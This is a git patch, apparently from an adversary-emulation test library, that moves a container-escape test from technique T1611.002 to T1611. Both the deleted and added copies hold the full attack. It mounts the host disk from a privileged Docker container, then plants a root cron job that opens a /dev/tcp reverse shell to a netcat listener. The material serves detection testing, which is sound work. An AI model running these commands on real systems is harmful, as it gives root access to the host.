From 03e37456cd914dfe123c188160a6f7aab88154b7 Mon Sep 17 00:00:00 2001 From: Carrie Roberts Date: Wed, 15 Jun 2022 15:30:42 -0600 Subject: [PATCH] moving atomics to correct T# --- atomics/T1611.002/T1611.002.yaml | 92 -------------------------------- atomics/T1611/T1611.yaml | 88 ++++++++++++++++++++++++++++++ 2 files changed, 88 insertions(+), 92 deletions(-) delete mode 100644 atomics/T1611.002/T1611.002.yaml diff --git a/atomics/T1611.002/T1611.002.yaml b/atomics/T1611.002/T1611.002.yaml deleted file mode 100644 index d242e321..00000000 --- a/atomics/T1611.002/T1611.002.yaml +++ /dev/null @@ -1,92 +0,0 @@ -attack_technique: T1611.002 -display_name: "Escape to Host" - -atomic_tests: -- name: Mount host filesystem to escape privileged Docker container - auto_generated_guid: 6c499943-b098-4bc6-8d38-0956fc182984 - description: | - This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser. - The container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job. - Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell. - - supported_platforms: - - containers - - input_arguments: - mount_device: - description: Path to the device of the host's disk to mount - type: Path - default: /dev/dm-0 - - mount_point: - description: Path where the host filesystem will be mounted - type: Path - default: /mnt/T1611.002 - - cron_path: - description: Path on the host filesystem where cron jobs are stored - type: Path - default: /etc/cron.d - - cron_filename: - description: Filename of the cron job in cron_path - type: String - default: T1611_002 - - listen_address: - description: IP address to listen for callback from the host system. - type: String - default: "`ifconfig eth0 | grep inet | awk '{print $2}'`" - - listen_port: - description: TCP Port to listen on for callback from the host system. - type: String - default: 4444 - - dependency_executor_name: sh - dependencies: - - description: Verify mount is installed. - prereq_command: | - which mount - get_prereq_command: | - if [ "" == "`which mount`" ]; then echo "mount Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install mount ; elif [ -n "`which yum`" ]; then sudo yum -y install mount ; fi ; else echo "mount installed"; fi - - - description: Verify container is privileged. - prereq_command: | - capsh --print | grep cap_sys_admin - get_prereq_command: | - if [ "`capsh --print | grep cap_sys_admin`" == "" ]; then echo "Container not privileged. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true"; fi - - - description: Verify mount device (/dev/dm-0) exists. - prereq_command: | - ls #{mount_device} - get_prereq_command: | - if [ ! -f #{mount_device} ]; then echo "Container not privileged or wrong device path. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true"; fi - - - description: Netcat is installed. - prereq_command: | - which netcat - get_prereq_command: | - if [ "" == "`which netcat`" ]; then echo "netcat Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install netcat ; elif [ -n "`which yum`" ]; then sudo yum -y install netcat ; fi - - - description: IP Address is known. - prereq_command: | - if [ "#{listen_address}" != "" ]; then echo "Listen address set as #{listen_address}" ; fi - get_prereq_command: | - if [ "" == "`which ifconfig`" ]; then echo "ifconfig Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install net=tools ; elif [ -n "`which yum`" ]; then sudo yum -y install net-tools ; fi - - executor: - name: sh - elevation_required: true - command: | - if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi - echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename} - echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename} - echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename} - echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename} - echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename} - netcat -l -p #{listen_port} 2>&1 - cleanup_command: | - rm #{mount_point}#{cron_path}/#{cron_filename} - umount #{mount_point} - rmdir #{mount_point} diff --git a/atomics/T1611/T1611.yaml b/atomics/T1611/T1611.yaml index 4be7a64f..764b9621 100644 --- a/atomics/T1611/T1611.yaml +++ b/atomics/T1611/T1611.yaml @@ -56,3 +56,91 @@ atomic_tests: name: sh cleanup_command: | kubectl --context kind-atomic-cluster delete pod atomic-escape-pod +- name: Mount host filesystem to escape privileged Docker container + auto_generated_guid: 6c499943-b098-4bc6-8d38-0956fc182984 + description: | + This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser. + The container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job. + Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell. + + supported_platforms: + - containers + + input_arguments: + mount_device: + description: Path to the device of the host's disk to mount + type: Path + default: /dev/dm-0 + + mount_point: + description: Path where the host filesystem will be mounted + type: Path + default: /mnt/T1611.002 + + cron_path: + description: Path on the host filesystem where cron jobs are stored + type: Path + default: /etc/cron.d + + cron_filename: + description: Filename of the cron job in cron_path + type: String + default: T1611_002 + + listen_address: + description: IP address to listen for callback from the host system. + type: String + default: "`ifconfig eth0 | grep inet | awk '{print $2}'`" + + listen_port: + description: TCP Port to listen on for callback from the host system. + type: String + default: 4444 + + dependency_executor_name: sh + dependencies: + - description: Verify mount is installed. + prereq_command: | + which mount + get_prereq_command: | + if [ "" == "`which mount`" ]; then echo "mount Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install mount ; elif [ -n "`which yum`" ]; then sudo yum -y install mount ; fi ; else echo "mount installed"; fi + + - description: Verify container is privileged. + prereq_command: | + capsh --print | grep cap_sys_admin + get_prereq_command: | + if [ "`capsh --print | grep cap_sys_admin`" == "" ]; then echo "Container not privileged. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true"; fi + + - description: Verify mount device (/dev/dm-0) exists. + prereq_command: | + ls #{mount_device} + get_prereq_command: | + if [ ! -f #{mount_device} ]; then echo "Container not privileged or wrong device path. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true"; fi + + - description: Netcat is installed. + prereq_command: | + which netcat + get_prereq_command: | + if [ "" == "`which netcat`" ]; then echo "netcat Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install netcat ; elif [ -n "`which yum`" ]; then sudo yum -y install netcat ; fi + + - description: IP Address is known. + prereq_command: | + if [ "#{listen_address}" != "" ]; then echo "Listen address set as #{listen_address}" ; fi + get_prereq_command: | + if [ "" == "`which ifconfig`" ]; then echo "ifconfig Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install net=tools ; elif [ -n "`which yum`" ]; then sudo yum -y install net-tools ; fi + + executor: + name: sh + elevation_required: true + command: | + if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi + echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename} + echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename} + echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename} + echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename} + echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename} + netcat -l -p #{listen_port} 2>&1 + cleanup_command: | + rm #{mount_point}#{cron_path}/#{cron_filename} + umount #{mount_point} + rmdir #{mount_point}